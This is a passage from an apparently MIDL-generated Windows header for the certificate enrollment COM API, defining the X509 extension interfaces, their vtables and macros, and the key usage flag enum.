GetCertificateByIndex(This,ManufacturerOnly,dwIndex,Encoding,pValue) ) \n\n#define IX509EndorsementKey_GetCertificateCount(This,ManufacturerOnly,pCount)\t\\\n    ( (This)->lpVtbl -> GetCertificateCount(This,ManufacturerOnly,pCount) ) \n\n#define IX509EndorsementKey_ExportPublicKey(This,ppPublicKey)\t\\\n    ( (This)->lpVtbl -> ExportPublicKey(This,ppPublicKey) ) \n\n#define IX509EndorsementKey_Open(This)\t\\\n    ( (This)->lpVtbl -> Open(This) ) \n\n#define IX509EndorsementKey_Close(This)\t\\\n    ( (This)->lpVtbl -> Close(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EndorsementKey_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Extension_INTERFACE_DEFINED__\n#define __IX509Extension_INTERFACE_DEFINED__\n\n/* interface IX509Extension */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Extension;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30d-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Extension : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Critical( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Critical( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Extension * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Extension * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Extension * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Extension * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509Extension * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509Extension * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509Extension * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        END_INTERFACE\n    } IX509ExtensionVtbl;\n\n    interface IX509Extension\n    {\n        CONST_VTBL struct IX509ExtensionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Extension_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Extension_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Extension_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Extension_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Extension_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Extension_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Extension_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Extension_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509Extension_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509Extension_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509Extension_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509Extension_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Extension_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Extensions_INTERFACE_DEFINED__\n#define __IX509Extensions_INTERFACE_DEFINED__\n\n/* interface IX509Extensions */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Extensions;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30e-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Extensions : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extension **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509Extension *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt IX509Extensions *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Extensions * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Extensions * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Extensions * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Extensions * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extension **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509Extensions * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509Extensions * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IX509Extension *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509Extensions * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in IX509Extensions * This,\n            /* [in] */ __RPC__in_opt IX509Extensions *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionsVtbl;\n\n    interface IX509Extensions\n    {\n        CONST_VTBL struct IX509ExtensionsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Extensions_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Extensions_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Extensions_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Extensions_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Extensions_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Extensions_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Extensions_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Extensions_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509Extensions_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509Extensions_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509Extensions_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509Extensions_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509Extensions_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509Extensions_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#define IX509Extensions_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Extensions_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0018 */\n/* [local] */ \n\ntypedef \nenum X509KeyUsageFlags\n    {\n        XCN_CERT_NO_KEY_USAGE\t= 0,\n        XCN_CERT_DIGITAL_SIGNATURE_KEY_USAGE\t= 0x80,\n        XCN_CERT_NON_REPUDIATION_KEY_USAGE\t= 0x40,\n        XCN_CERT_KEY_ENCIPHERMENT_KEY_USAGE\t= 0x20,\n        XCN_CERT_DATA_ENCIPHERMENT_KEY_USAGE\t= 0x10,\n        XCN_CERT_KEY_AGREEMENT_KEY_USAGE\t= 0x8,\n        XCN_CERT_KEY_CERT_SIGN_KEY_USAGE\t= 0x4,\n        XCN_CERT_OFFLINE_CRL_SIGN_KEY_USAGE\t= 0x2,\n        XCN_CERT_CRL_SIGN_KEY_USAGE\t= 0x2,\n        XCN_CERT_ENCIPHER_ONLY_KEY_USAGE\t= 0x1,\n        XCN_CERT_DECIPHER_ONLY_KEY_USAGE\t= ( 0x80 << 8 ) \n    } \tX509KeyUsageFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0018_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0018_v0_0_s_ifspec;\n\n#ifndef __IX509ExtensionKeyUsage_INTERFACE_DEFINED__\n#define __IX509ExtensionKeyUsage_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionKeyUsage */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionKeyUsage;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30f-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionKeyUsage : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ X509KeyUsageFlags UsageFlags) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeyUsage( \n            /* [retval][out] */ __RPC__out X509KeyUsageFlags *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionKeyUsageVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionKeyUsage * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionKeyUsage * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionKeyUsage * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ X509KeyUsageFlags UsageFlags);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyUsage )( \n            __RPC__in IX509ExtensionKeyUsage * This,\n            /* [retval][out] */ __RPC__out X509KeyUsageFlags *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionKeyUsageVtbl;\n\n    interface IX509ExtensionKeyUsage\n    {\n        CONST_VTBL struct IX509ExtensionKeyUsageVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionKeyUsage_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionKeyUsage_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionKeyUsage_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionKeyUsage_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionKeyUsage_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionKeyUsage_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionKeyUsage_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionKeyUsage_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionKeyUsage_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionKeyUsage_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionKeyUsage_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionKeyUsage_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionKeyUsage_InitializeEncode(This,UsageFlags)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,UsageFlags) ) \n\n#define IX509ExtensionKeyUsage_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionKeyUsage_get_KeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyUsage(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionKeyUsage_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__\n#define __IX509ExtensionEnhancedKeyUsage_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionEnhancedKeyUsage */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionEnhancedKeyUsage;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab310-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionEnhancedKeyUsage : public IX509Extension\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IObjectIds *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnhancedKeyUsage( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionEnhancedKeyUsageVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionEnhancedKeyUsage * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ __RPC__in_opt IObjectIds *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnhancedKeyUsage )( \n            __RPC__in IX509ExtensionEnhancedKeyUsage * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionEnhancedKeyUsageVtbl;\n\n    interface IX509ExtensionEnhancedKeyUsage\n    {\n        CONST_VTBL struct IX509ExtensionEnhancedKeyUsageVtbl *lpVtbl;\n    };\n\n    